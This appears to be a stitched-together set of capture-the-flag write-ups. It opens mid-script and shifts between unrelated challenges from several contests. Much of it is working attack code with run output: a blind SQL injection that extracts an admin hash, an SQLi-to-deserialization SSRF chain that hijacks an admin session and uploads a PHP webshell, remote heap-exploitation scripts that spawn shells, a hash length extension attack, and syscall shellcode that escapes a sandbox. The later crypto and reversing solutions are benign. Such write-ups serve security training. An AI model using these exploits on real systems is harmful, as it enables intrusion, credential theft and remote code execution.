solution def register(username, password): resp = sess.get(_target+'register') code = solve_code(resp.text) sess.post(_target+'register', data={'username':username,'password':password,'code':code}) return True def login(username, password): resp = sess.get(_target+'login') code = solve_code(resp.text) sess.post(_target+'login', data={'username':username,'password':password,'code':code}) return True def publish(sig, mood): return sess.post(_target+'publish', data={'signature':sig,'mood':mood}) get_code_dict() sess = requests.Session()username, password = get_creds()print '[+] register({}, {})'.format(username, password)register(username, password)print '[+] login({}, {})'.format(username, password)login(username, password)print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] for i in range(1,33): # we know password is 32 chars (md5) mood = '(select concat(`O:4:\"Mood\":3:{{s:4:\"mood\";i:`,ord(substr(password,{},1)),`;s:2:\"ip\";s:14:\"80.212.199.161\";s:4:\"date\";i:1520664478;}}`) from ctf_users where is_admin=1 limit 1)'.format(i) payload = 'a`, {}); -- -'.format(mood) resp = publish(payload, '0') resp = sess.get(_target+'index')moods = re.findall(r'img/([0-9]+)\.gif', resp.text)[::-1] # last publish will be read first in the htmladmin_hash = ''.join(map(lambda k: chr(int(k)), moods)) print '[+] admin hash => ' + admin_hash ``` ```root@kali64:~# python sql_exp.py [+] Genering 778688 captchas...[+] register(cvnyshokxj, sjt0ayo3c1)[+] login(cvnyshokxj, sjt0ayo3c1)[+] user session => 7fublips3949q8vcs611fcdha2[+] admin hash => c991707fdf339958eded91331fb11ba0``` After decryption,we get admin's password `jaivypassword`. ### getshell_1 #### ssrf_crlf_getshell_exp.py ```import reimport sysimport stringimport randomimport requestsimport subprocessfrom itertools import productimport hashlibfrom itertools import product _target = 'http://20.20.20.128:11027/'_action = _target + 'index.php?action=' def get_code_dict(): c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|' captchas = [''.join(i) for i in product(c, repeat=3)] print '[+] Genering {} captchas...'.format(len(captchas)) with open('captchas.txt', 'w') as f: for k in captchas: f.write(hashlib.md5(k).hexdigest()+' --> '+k+'\n') def get_creds(): username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10)) return username, password #codedef solve_code(html): code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1) solution = subprocess.check_output(['grep', '^'+code, 'captchas.txt']).split()[2] return solution def register(username, password): resp = sess.get(_action+'register') code = solve_code(resp.text) sess.post(_action+'register', data={'username':username,'password':password,'code':code}) return True def login(username, password): resp = sess.get(_action+'login') code = solve_code(resp.text) sess.post(_action+'login', data={'username':username,'password':password,'code':code}) return True def publish(sig, mood): return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'}) def get_prc_now(): # date_default_timezone_set("PRC") is not important return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();']) def get_admin_session(): sess = requests.Session() resp = sess.get(_action+'login') code = solve_code(resp.text) return sess.cookies.get_dict()['PHPSESSID'], code get_code_dict() print '[+] creating user session to trigger ssrf'sess = requests.Session() username, password = get_creds() print '[+] register({}, {})'.format(username, password)register(username, password) print '[+] login({}, {})'.format(username, password)login(username, password) print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] print '[+] getting fresh session to be authenticated as admin'phpsessid, code = get_admin_session() ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: 200\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}&\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, code)mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood)) payload = 'a`, {}); -- -'.format(mood) print '[+] final sqli/ssrf payload: ' + payload print '[+] injecting payload through sqli'resp = publish(payload, '0') print '[+] triggering object deserialization -> ssrf'sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'}) print '[+] admin session => ' + phpsessid # switching to admin sessionsess = requests.Session()sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid}) # resp = sess.post(_action+'publish')# print resp.text print '[+] uploading stager'shell = {'pic': ('jaivy.php', '', 'image/jpeg')}resp = sess.post(_action+'publish', files=shell)# print resp.textwebshell_url=_target+'upload/jaivy.php'print '[+] shell => '+webshell_url+'\n' post_data={"jaivy":"system('ls -al');"}resp = sess.post(url=webshell_url,data=post_data)print resp.text ``` ```root@kali64:~# python ssrf_crlf_getshell_exp.py [+] Genering 778688 captchas...[+] creating user session to trigger ssrf[+] register(a6skt6cjpr, rw2dz23fjv)[+] login(a6skt6cjpr, rw2dz23fjv)[+] user session => b4sd5q2jtb0tlh4lmqoj4mcb92[+] getting fresh session to be authenticated as admin[+] final sqli/ssrf payload: a`, 0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a3237373a22687474703a2f2f3132372e302e302e312f0d0a436f6e74656e742d4c656e6774683a300d0a0d0a0d0a504f5354202f696e6465782e7068703f616374696f6e3d6c6f67696e20485454502f312e310d0a486f73743a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d706f633672616771686d6e686933636e6e737136636a666332340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a436f6e74656e742d4c656e6774683a203230300d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6a6169767970617373776f726426636f64653d4a3165260d0a0d0a504f5354202f666f6f0d0a223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31353a225f73747265616d5f636f6e74657874223b693a303b733a31333a225f736f61705f76657273696f6e223b693a313b7d); -- -[+] injecting payload through sqli[+] triggering object deserialization -> ssrf[+] admin session => poc6ragqhmnhi3cnnsq6cjfc24[+] uploading stager[+] shell => http://20.20.20.128:11027/upload/jaivy.php total 12drwxrwxrwx 1 root root 4096 Aug 5 18:07 .drwxr-xr-x 1 root root 4096 Aug 5 18:03 ..-rw-r--r-- 1 www-data www-data 29 Aug 5 18:07 jaivy.php root@kali64:~# ``` ### getshell_2 After that,we can find an another server in the inside net ,which IP is `172.18.0.2` .and the website source is : ```0: print(resp,i) break ``` We can use this command to find the location of the flag file. ```find / -name "*flag*"```
# problem[Re_Sign.zip](./Re_Sign.zip)# exp```int main(){ int int32_41E3D0[] = { 8, 59, 1, 32, 7, 52, 9, 31, 24, 36, 19, 3, 16, 56, 9, 27, 8, 52, 19, 2, 8, 34, 18, 3, 5, 6, 18, 3, 15, 34, 18, 23, 8, 1, 41, 34, 6, 36, 50, 36, 15, 31, 43, 36, 3, 21, 65, 65 }; char str_41E499[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; char base64_C[49] = {0}; for (int i = 0; i < 48; i++) { int temp_index = int32_41E3D0[i]; base64_C[i] = str_41E499[temp_index - 1]; } cout <<"base64_C:"<< base64_C << endl; char psss_list[65] = { 0 }; char list_41E380[] = { 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 91, 92, 73, 95, 90, 86, 69, 88, 93, 67, 85, 70, 82, 81, 95, 81, 80, 80, 80, 71, 70, 92, 118, 99, 108, 110, 85, 82, 67, 85, 92, 80, 95, 66, 67, 93, 79, 92, 84, 87, 85, 91, 94, 94, 90, 77, 64, 90, 76, 89, 82, 80, 21, 16 }; for (int i = 0; i <64; i++) { psss_list[i] = list_41E380[i] ^ i; } cout << "psss_list:" << psss_list << endl; char str_re[100] = {0}; Base64_decode(base64_C, psss_list, str_re); cout << "flag:" << str_re << endl; getchar(); return 0;}``` # output```base64_C:H6AfGzIeXjSCP3IaHzSBHhRCEFRCOhRWHAohFjxjOeqjCU==psss_list:0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/flag:de1ctf{E_L4nguag3_1s_K3KeK3_N4Ji4} ```
# weapon[docker-enviroment](./docker-enviroment) this problem have two ways to solve it > the key to topic is to let a chunk have libc address in fd. and then we use a trick to leak a libc address ,finally use fastbin attack to get shell. ## first make a fake 0x80(more than that is ok) chunk and free it .so that we can get libc in fd and then edit the struct of stdout to leak.finally get shell. ```from pwn import *def cmd(c): p.sendlineafter(">> \n",str(c))def Cmd(c): p.sendlineafter(">> ",str(c))def add(size,idx,name="padding"): cmd(1) p.sendlineafter(": ",str(size)) p.sendlineafter(": ",str(idx)) p.sendafter(":\n",name)def free(idx): cmd(2) p.sendlineafter(":",str(idx))def edit(idx,name): cmd(3) p.sendlineafter(": ",str(idx)) p.sendafter(":\n",name)def Add(size,idx,name="padding"): Cmd(1) p.sendlineafter(": ",str(size)) p.sendlineafter(": ",str(idx)) p.sendafter(":",name)def Free(idx): Cmd(2) p.sendlineafter(":",str(idx)) #p=process('./pwn')p=remote("139.180.216.34",8888)#context.log_level='debug'add(0x18,0)add(0x18,1)add(0x60,2,p64(0x0)+p64(0x21)+'\x00'*0x18+p64(0x21)*5)add(0x60,3,p64(0x21)*12)add(0x60,4)add(0x60,5)free(0)free(1)free(0)free(1) add(0x18,0,"\x50")add(0x18,0,'\x00'*8)add(0x18,0,"A") add(0x18,0,'GET') edit(2,p64(0x0)+p64(0x91))free(0) add(0x18,0)add(0x60,0,'\xdd\x25') free(2)free(5)free(2)free(5) #gdb.attach(p,'')add(0x60,4,'\x70')#add(0x60,0)add(0x60,0)add(0x60,0)add(0x60,0,'\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19)p.read(0x40) base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd2600-0x7ffff7a0d000)log.warning(hex(base))#raw_input()libc=ELF("./pwn").libcAdd(0x60,0)Add(0x60,1)Add(0x18,2)Free(0)Free(1)Free(0)Add(0x60,0,p64(libc.sym['__malloc_hook']+base-35))Add(0x60,0)Add(0x60,0)one=0xf02a4Add(0x60,0,'\x00'*19+p64(one+base)) Free(1)Free(1) p.interactive() ``` ## second when we use scanf to input something .if you input lots of things ,it will malloc a 0x400 chunk to keep it temporarily。if we keep some fastbin when it malloc.it will be put into smallbin.now we also have libc address. ```from pwn import *context.log_level = "debug"#p = process("./weapon")p = remote("139.180.216.34",8888)elf = ELF("./weapon")a = elf.libc#gdb.attach(p)def create(idx,size,content): p.recvuntil(">> \n") p.sendline(str(1)) p.recvuntil("weapon: ") p.sendline(str(size)) p.recvuntil("index: ") p.sendline(str(idx)) p.recvuntil("name:") p.send(content)def delete(idx): p.recvuntil(">> ") p.sendline(str(2)) p.recvuntil("idx :") p.sendline(str(idx)) def edit(idx,content): p.recvuntil(">> ") p.sendline(str(3)) p.recvuntil("idx: ") p.sendline(str(idx)) p.recvuntil("content:\n") p.send(content) create(0,0x60,"a")create(1,0x60,"b")create(2,0x60,"c")delete(0)delete(1)p.recvuntil(">> ")p.sendline("1"*0x1000)create(3,0x60,"\xdd\x25")create(4,0x60,"e")delete(2)delete(1)edit(1,"\x00")create(5,0x60,"f")create(6,0x60,"f")file_struct = p64(0xfbad1887)+p64(0)*3+"\x58"create(7,0x60,"\x00"*0x33+file_struct)libc_addr = u64(p.recvuntil("\x00",drop=True)[1:].ljust(8,"\x00"))-a.symbols["_IO_2_1_stdout_"]-131print hex(libc_addr)delete(6)edit(6,p64(libc_addr+a.symbols["__malloc_hook"]-0x23)) create(8,0x60,"t") create(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))p.recvuntil(">> \n")p.sendline(str(1))p.recvuntil("weapon: ")p.sendline(str(0x60))p.recvuntil("index: ")p.sendline(str(6)) p.interactive()```
[中文](./README_zh.md) [English](./README.md) [docker](./docker.zip) # SSRF_ME WriteUps ## Expected Solution: Hash Length Extension Attacks+CVE-2019-9948(urllib) ---## WriteUp:code define two methods,`scan` and `read`. both methods use `md5(secert_key + param + action)` encoding. and `/genesign` provide `sign` of `scan` method. 1. get `scan` method `sign` value.```GET /geneSign?param=local-file:flag.txt HTTP/1.1Host: 139.180.128.86 HTTP/1.1 200 OKServer: nginx/1.15.8Content-Length: 32Connection: close 51796b52dd6e1108c89b7d5277d3ae0a```2. use `hashpump` generate new `sign` value that contain `scan` and `read` methods.```$ hashpumpInput Signature: 51796b52dd6e1108c89b7d5277d3ae0aInput Data: local-file:flag.txtscanInput Key Length: 16Input Data to Add: readeafd6ccd634ec29886babc843f1d8b86 local-file:flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x008\x01\x00\x00\x00\x00\x00\x00read```3. change `\x` into `%` in new param,and sumit them.```GET /De1ta?param=local-file:flag.txt HTTP/1.1Host: 139.180.128.86Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%008%01%00%00%00%00%00%00read;sign=eafd6ccd634ec29886babc843f1d8b86Connection: close HTTP/1.1 200 OKServer: nginx/1.15.8Content-Type: text/html; charset=utf-8Content-Length: 65Connection: close {"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}``` ## In the Last:Due to my Careless,Sorry about the unexpected solution of this challenge.Hope you have a great time in the game.
# basic-numbers (50) ## Problem We have a raw flag here, but what do we do with it? ```01100010 00110001 01101110 01100001 01110010 01111001 01011111 0111001100110000 01101100 01110110 00110011 01100100 01011111 01100111 0011000000110000 01100100 01011111 01110111 00110000 01110010 01101011``` ## Solution This is a simple binary to ASCII conversion. The binary needs to first be converted to integers, which can then be converted to ASCII characters. For example, 01100010 has "on" switches (1) at bits 1, 5, and 6 (going from right to left, starting with 0). Therefore, its integer value is equal to 2^6 + 2^5 + 2^1, or 98. 98 is the decimal equivalent of the character "b" in ASCII. ```01100010 -> b00110001 -> 101101110 -> n01100001 -> a01110010 -> r01111001 -> y01011111 -> _01110011 -> s00110000 -> 001101100 -> l01110110 -> v00110011 -> 301100100 -> d01011111 -> _01100111 -> g00110000 -> 000110000 -> 001100100 -> d01011111 -> _01110111 -> w00110000 -> 001110010 -> r01101011 -> k b1nary_s0lv3d_g00d_w0rk``` If course, you could just use an online converter, but that takes away the fun.
tl;dr A few constraints were given in one line, this can be expanded into 6 different constraints, 2 sets of 3. Each set has a pell-like equation, a size and a have one variable as a prime. Integer solutions to Pell's equation can easily be found, and using the bounds only one solution came out. The solutions are then converted into the flag
[中文](./README_zh.md) [English](./README.md) [attachment.zip](./attachment.zip) Sorry first to everyone, this pwn is not well written. The intention is to code audit and find the bug. But the library's bugs are more than expected... The following is an unexpected solution ```#include <stdio.h> Int main(){     System("cat flag");}``` The following is an expected solution, the basic idea is to use 32-bit syscall to bypass the limit and read the flag. ```#include <stdio.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/mman.h> /* mmap() is defined in this header */#include <fcntl.h>#include <string.h>unsigned char shellcode[]= \"\x6a\x01\xfe\x0c\x24\x68\x66\x6c\x61\x67\x89\xe3\x31\xc9\x31\xd2\x6a\x05\x58\xcd\x80\x68\x00\x38\x12\x00\x59\x89\xc3\xba\x00\x01\x00\x00\x6a\x03\x58\xcd\x80\xbb\x01\x00\x00\x00\xb9\x00\x38\x12\x00\xba\x00\x01\x00\x00\x6a\x04\x58\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80";/*push 0x1dec BYTE PTR [esp]push 0x67616c66mov ebx,espxor ecx,ecxxor edx,edxpush 0x5pop eaxint 0x80push 0x123800pop ecxmov ebx,eaxmov edx,0x100push 0x3pop eaxint 0x80mov ebx,0x1mov ecx,0x123800mov edx,0x100push 0x4pop eaxint 0x80mov eax,0x1int 0x80*/ unsigned char bypass[] = \"\x48\x31\xe4\xbc\x00\x34\x12\x00\x67\xc7\x44\x24\x04\x23\x00\x00\x00\x67\xc7\x04\x24\x00\x30\x12\x00\xcb";/*xor rsp,rspmov esp,0x123400mov DWORD PTR [esp+0x4],0x23mov DWORD PTR [esp],0x123000retf*/ int main(){ char* p1=mmap(0, 0x1000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); char* p2=mmap((void*)0x123000,0x1000,7,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memcpy(p1,bypass,sizeof(bypass)); memcpy(p2,shellcode,sizeof(shellcode)); int (*ret)() = (int(*)())p1; ret(); return 0;}```
tl;dr * Challenge is a VM implemented over signals and ptrace* Reverse Instruction types and implementation* Use gdb scripting to find the executed code and get the pseudo VM code* Find out the algorithm (Max triangle sum) from VM instructions* Find an more optimized way to solve the problem (Or lazy solve it!).
tl;dr * Challenge is a VM implemented over signals and ptrace* Reverse Instruction types and implementation* Use gdb scripting to find the executed code and get the pseudo VM code* Reverse the VM functionality (Hill cipher) for flag and profit
tl;dr The message is converted to decimal, and `0` is replaced with a random string Then the cipher takes in one character at a time and computes some value incrementally, so a recursive algorithm is used to bruteforce the characters from back to front.
```#!/usr/bin/python from pwn import * cipher = "D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH"cipher = cipher[::-1]print(cipher)decoded_cipher = "" for i in range(len(cipher)): if cipher[i].isupper(): val = ord(cipher[i]) + 12 if val > ord('Z'): val = (val - ord('Z')) + ord('A') - 1 decoded_cipher += chr(val) elif cipher[i].islower(): val = ord(cipher[i]) + 7 if val > ord('z'): val = (val - ord('z')) + ord('a') - 1 decoded_cipher += chr(val) elif cipher[i].isdigit(): val = ord('0') + ((int(cipher[i])+25) % 10) decoded_cipher += chr(val) else: decoded_cipher += cipher[i] decoded_cipher = decoded_cipher.split()[4].decode('base64')print(decoded_cipher)```
# Time Capsule > You neither need 35 years nor even 20 years to solve this problem! ## Challenge The goal is basically to compute `l = pow(2, pow(2, t), n)`. Note that `pow(2, x, n) = pow(2, x % phi(n), n)` `n` is easily factored with yafu, and the calculation is trivial from there > Flag : `CCTF{_______________________________________________Happy_Birthday_LCS______________________________________________}`